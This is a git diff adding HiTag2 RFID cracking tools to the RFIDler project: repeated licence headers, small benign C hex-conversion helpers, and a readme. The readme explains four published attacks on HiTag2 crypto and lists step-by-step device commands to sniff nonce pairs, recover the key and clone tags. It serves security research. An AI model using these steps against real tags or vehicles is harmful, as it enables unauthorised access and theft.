with other software in compressed or archival form does not * + * trigger this provision, provided appropriate open source decompression * + * or de-archiving software is widely available for no charge. For the * + * purposes of this license, an installer is considered to include Covered * + * Software even if it actually retrieves a copy of Covered Software from * + * another source during runtime (such as by downloading it from the * + * Internet). * + * * + * o Links (statically or dynamically) to a library which does any of the * + * above. * + * * + * o Executes a helper program, module, or script to do any of the above. * + * * + * This list is not exclusive, but is meant to clarify our interpretation * + * of derived works with some common examples. Other people may interpret * + * the plain GPL differently, so we consider this a special exception to * + * the GPL that we apply to Covered Software. Works which meet any of * + * these conditions must conform to all of the terms of this license, * + * particularly including the GPL Section 3 requirements of providing * + * source code and allowing free redistribution of the work as a whole. * + * * + * As another special exception to the GPL terms, Aperture Labs Ltd. grants* + * permission to link the code of this program with any version of the * + * OpenSSL library which is distributed under a license identical to that * + * listed in the included docs/licenses/OpenSSL.txt file, and distribute * + * linked combinations including the two. * + * * + * Any redistribution of Covered Software, including any derived works, * + * must obey and carry forward all of the terms of this license, including * + * obeying all GPL rules and restrictions. For example, source code of * + * the whole work must be provided and free redistribution must be * + * allowed. All GPL references to "this License", are to be treated as * + * including the terms and conditions of this license text as well. * + * * + * Because this license imposes special exceptions to the GPL, Covered * + * Work may not be combined (even as part of a larger work) with plain GPL * + * software. The terms, conditions, and exceptions of this license must * + * be included as well. This license is incompatible with some other open * + * source licenses as well. In some cases we can relicense portions of * + * RFIDler or grant special permissions to use it in other open source * + * software. Please contact sales@aperturelabs.com with any such requests.* + * Similarly, we don't incorporate incompatible open source software into * + * Covered Software without special permission from the copyright holders. * + * * + * If you have any questions about the licensing restrictions on using * + * RFIDler in other works, are happy to help. As mentioned above, we also * + * offer alternative license to integrate RFIDler into proprietary * + * applications and appliances. These contracts have been sold to dozens * + * of software vendors, and generally include a perpetual license as well * + * as providing for priority support and updates. They also fund the * + * continued development of RFIDler. Please email sales@aperturelabs.com * + * for further information. * + * If you have received a written license agreement or contract for * + * Covered Software stating terms other than these, you may choose to use * + * and redistribute Covered Software under those terms instead of these. * + * * + * Source is provided to this software because we believe users have a * + * right to know exactly what a program is going to do before they run it. * + * This also allows you to audit the software for security holes (none * + * have been found so far). * + * * + * Source code also allows you to port RFIDler to new platforms, fix bugs, * + * and add new features. You are highly encouraged to send your changes * + * to the RFIDler mailing list for possible incorporation into the * + * main distribution. By sending these changes to Aperture Labs Ltd. or * + * one of the Aperture Labs Ltd. development mailing lists, or checking * + * them into the RFIDler source code repository, it is understood (unless * + * you specify otherwise) that you are offering the RFIDler Project * + * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, * + * modify, and relicense the code. RFIDler will always be available Open * + * Source, but this is important because the inability to relicense code * + * has caused devastating problems for other Free Software projects (such * + * as KDE and NASM). We also occasionally relicense the code to third * + * parties as discussed above. If you wish to specify special license * + * conditions of your contributions, just say so when you send them. * + * * + * This program is distributed in the hope that it will be useful, but * + * WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler * + * license file for more details (it's in a COPYING file included with * + * RFIDler, and also available from * + * https://github.com/ApertureLabsLtd/RFIDler/COPYING * + * * + ***************************************************************************/ + +// Author: Adam Laurie + +/* + * Hitag Crypto support macros + * These macros reverse the bit order in a byte, or *within* each byte of a + * 16 , 32 or 64 bit unsigned integer. (Not across the whole 16 etc bits.) + */ +#define rev8(X) ((((X) >> 7) &1) + (((X) >> 5) &2) + (((X) >> 3) &4) \ + + (((X) >> 1) &8) + (((X) << 1) &16) + (((X) << 3) &32) \ + + (((X) << 5) &64) + (((X) << 7) &128) ) +#define rev16(X) (rev8 (X) + (rev8 (X >> 8) << 8)) +#define rev32(X) (rev16(X) + (rev16(X >> 16) << 16)) +#define rev64(X) (rev32(X) + (rev32(X >> 32) << 32)) + + +unsigned long hexreversetoulong(BYTE *hex); +unsigned long long hexreversetoulonglong(BYTE *hex); + diff --git a/tools/hitag2crack/crack4/utilpart.c b/tools/hitag2crack/crack4/utilpart.c new file mode 100644 index 000000000..210853ec1 --- /dev/null +++ b/tools/hitag2crack/crack4/utilpart.c @@ -0,0 +1,183 @@ +/*************************************************************************** + * A copy of the GNU GPL is appended to this file. * + * * + * This licence is based on the nmap licence, and we express our gratitude * + * for the work that went into producing it. There is no other connection * + * between RFIDler and nmap either expressed or implied. * + * * + ********************** IMPORTANT RFIDler LICENSE TERMS ******************** + * * + * * + * All references to RFIDler herein imply all it's derivatives, namely: * + * * + * o RFIDler-LF Standard * + * o RFIDler-LF Lite * + * o RFIDler-LF Nekkid * + * * + * * + * RFIDler is (C) 2013-2014 Aperture Labs Ltd. * + * * + * This program is free software; you may redistribute and/or modify it * + * under the terms of the GNU General Public License as published by the * + * Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE * + * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your * + * right to use, modify, and redistribute this software under certain * + * conditions. If you wish to embed RFIDler technology into proprietary * + * software or hardware, we sell alternative licenses * + * (contact sales@aperturelabs.com). * + * * + * Note that the GPL places important restrictions on "derivative works", * + * yet it does not provide a detailed definition of that term. To avoid * + * misunderstandings, we interpret that term as broadly as copyright law * + * allows. For example, we consider an application to constitute a * + * derivative work for the purpose of this license if it does any of the * + * following with any software or content covered by this license * + * ("Covered Software"): * + * * + * o Integrates source code from Covered Software. * + * * + * o Is designed specifically to execute Covered Software and parse the * + * results (as opposed to typical shell or execution-menu apps, which will * + * execute anything you tell them to). * + * * + * o Includes Covered Software in a proprietary executable installer. The * + * installers produced by InstallShield are an example of this. Including * + * RFIDler with other software in compressed or archival form does not * + * trigger this provision, provided appropriate open source decompression * + * or de-archiving software is widely available for no charge. For the * + * purposes of this license, an installer is considered to include Covered * + * Software even if it actually retrieves a copy of Covered Software from * + * another source during runtime (such as by downloading it from the * + * Internet). * + * * + * o Links (statically or dynamically) to a library which does any of the * + * above. * + * * + * o Executes a helper program, module, or script to do any of the above. * + * * + * This list is not exclusive, but is meant to clarify our interpretation * + * of derived works with some common examples. Other people may interpret * + * the plain GPL differently, so we consider this a special exception to * + * the GPL that we apply to Covered Software. Works which meet any of * + * these conditions must conform to all of the terms of this license, * + * particularly including the GPL Section 3 requirements of providing * + * source code and allowing free redistribution of the work as a whole. * + * * + * As another special exception to the GPL terms, Aperture Labs Ltd. grants* + * permission to link the code of this program with any version of the * + * OpenSSL library which is distributed under a license identical to that * + * listed in the included docs/licenses/OpenSSL.txt file, and distribute * + * linked combinations including the two. * + * * + * Any redistribution of Covered Software, including any derived works, * + * must obey and carry forward all of the terms of this license, including * + * obeying all GPL rules and restrictions. For example, source code of * + * the whole work must be provided and free redistribution must be * + * allowed. All GPL references to "this License", are to be treated as * + * including the terms and conditions of this license text as well. * + * * + * Because this license imposes special exceptions to the GPL, Covered * + * Work may not be combined (even as part of a larger work) with plain GPL * + * software. The terms, conditions, and exceptions of this license must * + * be included as well. This license is incompatible with some other open * + * source licenses as well. In some cases we can relicense portions of * + * RFIDler or grant special permissions to use it in other open source * + * software. Please contact sales@aperturelabs.com with any such requests.* + * Similarly, we don't incorporate incompatible open source software into * + * Covered Software without special permission from the copyright holders. * + * * + * If you have any questions about the licensing restrictions on using * + * RFIDler in other works, are happy to help. As mentioned above, we also * + * offer alternative license to integrate RFIDler into proprietary * + * applications and appliances. These contracts have been sold to dozens * + * of software vendors, and generally include a perpetual license as well * + * as providing for priority support and updates. They also fund the * + * continued development of RFIDler. Please email sales@aperturelabs.com * + * for further information. * + * If you have received a written license agreement or contract for * + * Covered Software stating terms other than these, you may choose to use * + * and redistribute Covered Software under those terms instead of these. * + * * + * Source is provided to this software because we believe users have a * + * right to know exactly what a program is going to do before they run it. * + * This also allows you to audit the software for security holes (none * + * have been found so far). * + * * + * Source code also allows you to port RFIDler to new platforms, fix bugs, * + * and add new features. You are highly encouraged to send your changes * + * to the RFIDler mailing list for possible incorporation into the * + * main distribution. By sending these changes to Aperture Labs Ltd. or * + * one of the Aperture Labs Ltd. development mailing lists, or checking * + * them into the RFIDler source code repository, it is understood (unless * + * you specify otherwise) that you are offering the RFIDler Project * + * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, * + * modify, and relicense the code. RFIDler will always be available Open * + * Source, but this is important because the inability to relicense code * + * has caused devastating problems for other Free Software projects (such * + * as KDE and NASM). We also occasionally relicense the code to third * + * parties as discussed above. If you wish to specify special license * + * conditions of your contributions, just say so when you send them. * + * * + * This program is distributed in the hope that it will be useful, but * + * WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler * + * license file for more details (it's in a COPYING file included with * + * RFIDler, and also available from * + * https://github.com/ApertureLabsLtd/RFIDler/COPYING * + * * + ***************************************************************************/ + +// Author: Adam Laurie + + +#include +#include +#include "HardwareProfile.h" +#include "util.h" +#include "rfidler.h" +//#include "comms.h" + +// rtc +rtccTime RTC_time; // time structure +rtccDate RTC_date; // date structure + +// convert byte-reversed 8 digit hex to unsigned long +unsigned long hexreversetoulong(BYTE *hex) +{ + unsigned long ret= 0L; + unsigned int x; + BYTE i; + + if(strlen(hex) != 8) + return 0L; + + for(i= 0 ; i < 4 ; ++i) + { + if(sscanf(hex, "%2X", &x) != 1) + return 0L; + ret += ((unsigned long) x) << i * 8; + hex += 2; + } + return ret; +} + +// convert byte-reversed 12 digit hex to unsigned long +unsigned long long hexreversetoulonglong(BYTE *hex) +{ + unsigned long long ret= 0LL; + BYTE tmp[9]; + + // this may seem an odd way to do it, but weird compiler issues were + // breaking direct conversion! + + tmp[8]= '\0'; + memset(tmp + 4, '0', 4); + memcpy(tmp, hex + 8, 4); + ret= hexreversetoulong(tmp); + ret <<= 32; + memcpy(tmp, hex, 8); + ret += hexreversetoulong(tmp); + return ret; +} + + diff --git a/tools/hitag2crack/readme.md b/tools/hitag2crack/readme.md new file mode 100644 index 000000000..afbc5f4c3 --- /dev/null +++ b/tools/hitag2crack/readme.md @@ -0,0 +1,206 @@ +HiTag2 Cracking Suite +--------------------- + +Author: Kevin Sheldrake + +Introduction +------------ + +These tools are implementations of the four attacks detailed in the papers, +Gone In 360 Seconds - Hijacking With HiTag 2 by Roel Verdult, Flavio Garcia +and Josep Balasch, and Lock It And Still Lose It - on the (In)Security of +Automotive Remote Keyless Entry Systems by Flavio Garcia, David Oswald, +Timo Kasper and Pierre Pavlides. The first three attacks come from the first +paper and the fourth attack comes from the second paper. + +Attack 1 +-------- + +Attack 1 is a nonce replay and length extension attack. This is an attack on +a single HiTag2 RFID tag, given a single encrypted nonce and challenge +response value pair (nR, aR) for the tag's UID. The attack runs entirely on +the RFIDler with it acting like a RWD that replays the same encrypted nonce +and challenge response pair for every interaction; this fixes the key stream +that the tag's PRNG outputs to the same stream for every interaction. + +By brute forcing a subset of the encrypted command space, the RFIDler finds a +single valid encrypted command - invalid commands return a known unencrypted +error response so finding a valid one is simply a case of trying different +values until a response other than the error response is received. + +It then bit flips the valid encrypted command to find the other 15 valid +encrypted commands. By knowing the contents of page 0 - it's the UID that +is presented in clear at the start of each interaction - it tries each +encrypyted response in turn, assuming each to be the encrypted version of +'read page 0 non-inverted' and each response to be the encrypted version of +page 0. + +For each attempted command, it calculates the key stream that would have +correctly generated the encrypted command and response: +command ++ response XOR key stream = encrypted command ++ encrypted response +therefore: +key stream = command ++ response XOR encrypted command ++ encrypted response + +It then tests the potentially recovered key stream by creating an encrypted +command that consumes as much of it as possible, re-initialising with the same +encrypyted nonce and challenge response pair (to set the key stream to the +same stream as that which produced the encrypted command response it is +testing), and then sending this extended encrypted command. If the response +is not the error response, then the key stream is valid and the response is +the encryption of the page 0 contents (the UID). + +When one of the valid encrypted commands satisfies this situation, the +recovered key stream must be the output of the PRNG for the given encrypted +nonce and challenge response pair. + +The RFIDler then uses this key stream to encrypt commands and decrypt the +responses, and therefore requests the contents of all 8 pages. Pages 1 and 2 +contain the encryption key. + +Attack 2 +-------- + +Attack 2 is a time/space trade off to recover the key for situations where the +tag has been configured to prevent reading of pages 1 and 2. This attack uses +a pre-computed table of 2^37 PRNG states and resultant PRNG output, sorted on +the PRNG output. The RFIDler is used to recover 2048 bits of key stream using +a modification of attack 1 and this is used to search the table for matching +PRNG output. When the output is found, it is tested for validity (by testing +previous or following PRNG output) and then the PRNG state is rolled back to +the initialisation state, from which the unecrypted nonce and key can be +recovered. + +Attack 3 +-------- + +Attack 3 is a cryptanalytic attack that focuses on the RWD and a bias in the +PRNG output. By capturing 136 encrypted nonce and challenge response pairs, +candidates for the first 34 bits of the key can be identified, and for each +the remaining 14 bits can be brute forced. + +Attack 4 +-------- + +Attack 4 is a fast correlative attack on the key based on a number of captured +encrypted nonce and challenge response pairs (up to 32, but 16 usually +sufficient). It starts by guessing the first 16 bits of the key and scores +all these guesses against how likely they are to be the correct key, given the +encrypted nonces and the keystream they should produce. Each guess is then +expanded by 1 bit and the process iterates, with only the best guesses taken +forward to the next iteration. + +Usage details +------------- + +Attack 1 requires a valid tag and a valid encrypted nonce and challenge +response pair. The attacker needs to obtain a valid tag and then use this to +obtain a valid encrypted nonce and challenge response pair. This can be +acheived by using the RFIDler 'SNIFF-PWM S' command (having previously cleared +the nonce storage with 'SNIFF-PWM C'), placing the coil on the RWD and +presenting the valid tag. The encrypted nonce and challenge response pairs +can then be read out with the 'SNIFF-PWM L' command. These values can then +be used to attack the tag with 'HITAG2-CRACK '. + +RFIDler: SET TAG HITAG2 +RFIDler: SNIFF-PWM C +RFIDler: SNIFF-PWM S +Capture encrypted nonce and challenge response pair (nR, aR). +RFIDler: SET TAG HITAG2 +RFIDler: SNIFF-PWM L +RFIDler: HITAG2-CRACK + +Attack 2 requires the same resources as attack 1, plus a pre-computed table. +The table can be generated on a disk with >1.5TB of storage, although it takes +some time (allow a couple of days). +./ht2crack2buildtable +RFIDler: SET TAG HITAG2 +RFIDler: SNIFF-PWM C +RFIDler: SNIFF-PWM S +Capture encrypted nonce and challenge response pair (nR, aR). +RFIDler: SET TAG HITAG2 +RFIDler: SNIFF-PWM L +RFIDler: UID +RFIDler: HITAG2-KEYSTREAM +Copy/paste the key stream to a file. +./ht2crack2search + +Attack 3 requires only interaction with the RWD and does not require a valid +tag, although it does require a HiTag2 tag that the RWD will initially respond +to; e.g. you could potentially use any HiTag2 tag as long as the RWD starts +the crypto handshake with it. It requires >=136 encrypted nonce and challenge +response pairs for the same tag UID. + +RFIDler: SET TAG HITAG2 +RFIDler: SNIFF-PWM C +RFIDler: SNIFF-PWM S +Capture >=136 encrypted nonce and challenge response pairs (nR, aR). +RFIDler: SET TAG HITAG2 +RFIDler: SNIFF-PWM L +RFIDler: UID +Copy/paste the encrypted nonce and challenge response pairs into a file. +./ht2crack3 + +Attack 4 requires the same information as attack 3, but only 16-32 encrypted +nonce and challenge response pairs are required. +./ht2crack4 -u -n [-N ] + [-t ] + +Start with -N 16 and -t 500000. If the attack fails to find the key, double +the table size and try again, repeating if it still fails. + +Once the key has been recovered using one of these attacks, the RFIDler can +be configured to operate as a RWD and will capture tags using that key. +RFIDler: SET TAG HITAG2 +RFIDler: HITAG2-READER + +Both the SNIFF-PWM and HITAG2-READER commands can be used as AUTORUN commands +for when the RFIDler is powered from a USB power supply without interaction. + +RFIDler: SET TAG HITAG2 +RFIDler: SNIFF-PWM C +RFIDler: AUTORUN SNIFF-PWM S +RFIDler: SAVE +Capture encrypted nonce and challenge response pairs. +RFIDler: SET TAG HITAG2 +RFIDler: SNIFF-PWM L + + +RFIDler: SET TAG HITAG2 +RFIDler: HITAG2-CLEARSTOREDTAGS +RFIDler: AUTORUN HITAG2-READER S +RFIDler: SAVE +Capture tags. +RFIDler: HITAG2-COUNTSTOREDTAGS +RFIDler: HITAG2-LISTSTOREDTAGS [START] [END] + + +Tags can be copied with standard RFIDler commands. + +RFIDler: SET TAG HITAG2 +RFIDler: COPY +RFIDler: VTAG +Replace original tag with a blank tag. +RFIDler: CLONE + +OR: + +RFIDler: SET TAG HITAG2 +RFIDler: SET VTAG HITAG2 +RFIDler: VWRITE 0 +RFIDler: VWRITE 1 +... +RFIDler: VWRITE 7 +RFIDler: VTAG +Place blank tag on coil. +RFIDler: CLONE + +OR: + +RFIDler: SET TAG HITAG2 +RFIDler: SET VTAG HITAG2 +RFIDler: VWRITE 0 +RFIDler: VTAG +Place blank tag on coil. +RFIDler: CLONE + +